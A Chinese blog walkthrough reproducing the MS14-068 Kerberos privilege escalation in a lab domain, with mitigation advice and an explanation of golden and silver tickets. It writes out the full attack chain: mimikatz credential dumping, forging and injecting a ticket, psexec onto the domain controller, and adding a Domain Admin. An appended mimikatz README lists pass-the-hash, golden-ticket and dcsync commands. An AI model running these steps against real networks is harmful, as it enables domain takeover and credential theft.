MS14-068漏洞复现

漏洞概述

该漏洞允许黑客提升任意普通用户权限成为域管理员(Domain Admin)身份。也就是说,你在一台普通域用户的机器上利用这个漏洞,那么这个域用户就变成域管理员权限,然后该域用户就可以控制整个域的所有机器了。

影响版本

全部版本Windows服务器

漏洞利用前提

  1. 域控没有打MS14-068的补丁(KB3011780)

  2. 拿下一台加入域的计算机(拥有一台域用户的权限)

  3. 有这台域内计算机的域用户密码和Sid

工具下载地址

Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

PSexec 下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe

mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz/releases

环境

域控:win 2008 R2 192.168.1.106 域内主机:win 7 192.168.1.109

漏洞利用思路

  1. 首先利用ms14-068提权工具生成伪造的kerberos协议认证证书(黄金票据)

  2. 利用mimikatz.exe将证书写入,从而提升为域管理员

  3. 测试是否能访问域控C盘目录,能访问则说明提升为域管理员

  4. 利用PsExec.exe获取域控shell,添加用户并将其加入域管理员组

漏洞复现过程

net config workstation

通过命令:net config workstation,可知域名和其他信息。

 

通过命令:nltest /dsgetdc:域名,可知 DC 主机名。

 

如果不是只是本地用户可以用mimikatz 抓取本地的域用户密码

记住mimikatz要有管理员权限不然无法抓取内存密码,可以以管理员权限运行。

输入privilege::debug 权限提升,在输入log 会在当前文件夹下生成后面命令执行的结果方便我们查找数据,最后输入sekurlsa::logonPasswords 抓取密码

这里利用 MS14-068 来提权,先检查下是否有 MS14-068, CVE 编号CVE-2014-6324, 补丁为 3011780 : systeminfo |find "3011780",如果返回为空就说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。。

whoami /all 查看用户sid。

 

访问 08server-ad 失败 提示拒绝访问

 

使用 MS14-068 伪造票据: 执行命令:

ms14-068.exe -u test@moonsec.fbi -p 123456 -s S-1-5-21-2801122135-3886333168-273474972-1103 -d 08server-dc.moonsec.fbi

会在当前目录下生成一个凭证。

使用方法:

ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址

 

使用 mimikatz 清空之前缓存的凭证,导入伪造的凭证:

mimikatz # kerberos::purge //清空票据

mimikatz # kerberos::ptc 票据文件地址

 

再输入 dir \08server-dc.moonsec.fbi\c$,发现访问成功,现在我们有域管的权限:

 

利用psexec获取域控权限

psexec.exe \08server-dc.moonsec.fbi cmd

 

添加域管账号密码

net user yesir123 QWE123... /add /domain 
net group "Domain Admins" yesir /add /domain

 

防范建议

针对 Kerberos 域用户提权漏洞: 开启 Windows update 功能,进行自动更新

手动下载补丁包进行修复:Microsoft Security Bulletin MS14-068 - Critical | Microsoft Learn

对域内账号进行控制,禁止使用弱口令、定期修改密码 在服务器上安装杀毒软件,及时更新病毒库

原理

Kerberos流程

PAC原理

黄金票据

(身份认证票据) 黄金票据是伪造票据授予票据(TGT),也被称为认证票据。如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。Kerberos黄金票据是有效的TGT Kerberos票据,因为它是由域Kerberos帐户(KRBTGT)加密和签名的。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。

白银票据

(服务授予票据)

白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据。如下图所示,与域控制器没有AS-REQ 和 AS-REP(步骤1和2),也没有TGS-REQ / TGS-REP(步骤3和4)通信。由于银票是伪造的TGS,所以没有与域控制器通信。

参考链接

MS14-068漏洞复现_匿名靓仔的博客-CSDN博客

MS14-068(CVE-2014-6324)域控提权利用及原理解析 - 紅人 - 博客园

Kerberos的黄金票据详解 - 渗透测试中心 - 博客园

Kerberos的白银票据详解 - 渗透测试中心 - 博客园

 

明月装饰了你的窗子,你装饰了别人的梦

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
mimikatz mimikatz is a tool I've made to learn C and make somes experiments with Windows security. It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets. .#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 13 modules * * */ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 515764 (00000000:0007deb4) Session : Interactive from 2 User Name : Gentil Kiwi Domain : vm-w7-ult-x SID : S-1-5-21-1982681256-1210654043-1600862990-1000 msv : [00000003] Primary * Username : Gentil Kiwi * Domain : vm-w7-ult-x * LM : d0e9aee149655a6075e4540af1f22d3b * NTLM : cc36cf7a8514893efccd332446158b1a * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30 tspkg : * Username : Gentil Kiwi * Domain : vm-w7-ult-x * Password : waza1234/ ... But that's not all! Crypto, Terminal Server, Events, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on http://blog.gentilkiwi.com (in French, yes). If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases Quick usage log privilege::debug sekurlsa sekurlsa::logonpasswords sekurlsa::tickets /export sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd kerberos kerberos::list /export kerberos::ptt c:\chocolate.kirbi kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi crypto crypto::capi crypto::cng crypto::certificates /export crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE crypto::keys /export crypto::keys /machine /export vault & lsadump vault::cred vault::list token::elevate vault::cred vault::list lsadump::sam lsadump::secrets lsadump::cache token::revert lsadump::dcsync /user:domain\krbtgt /domain:lab.local Build mimikatz is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are: - for mimikatz and mimilib : Visual Studio 2010, 2012 or 2013 for Desktop (2013 Express for Desktop is free and supports x86 & x64 - http://www.microsoft.com/download/details.aspx?id=44914) - for mimikatz driver, mimilove (and ddk2003 platform) : Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 mimikatz uses SVN for source control, but is now available with GIT too! You can use any tools you want to sync, even incorporated GIT in Visual Studio 2013 =) Synchronize! - GIT URL is : https://github.com/gentilkiwi/mimikatz.git - SVN URL is : https://github.com/gentilkiwi/mimikatz/trunk - ZIP file is : https://github.com/gentilkiwi/mimikatz/archive/master.zip Build the solution - After opening the solution, Build / Build Solution (you can change architecture) - mimikatz is now built and ready to be used! (Win32 / x64) - you can have error MSB3073 about _build_.cmd and mimidrv, it's because the driver cannot be build without Windows Driver Kit 7.1 (WinDDK), but mimikatz and mimilib are OK. ddk2003 With this optional MSBuild platform, you can use the WinDDK build tools, and the default msvcrt runtime (smaller binaries, no dependencies) For this optional platform, Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after. Follow instructions: - http://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme - http://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader Licence CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/ Author - Benjamin DELPY gentilkiwi, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com ) - DCSync function in lsadump module was co-writed with Vincent LE TOUX, you contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com ) This is a personal development, please respect its philosophy and don't use it for bad things!

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

夜yesec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值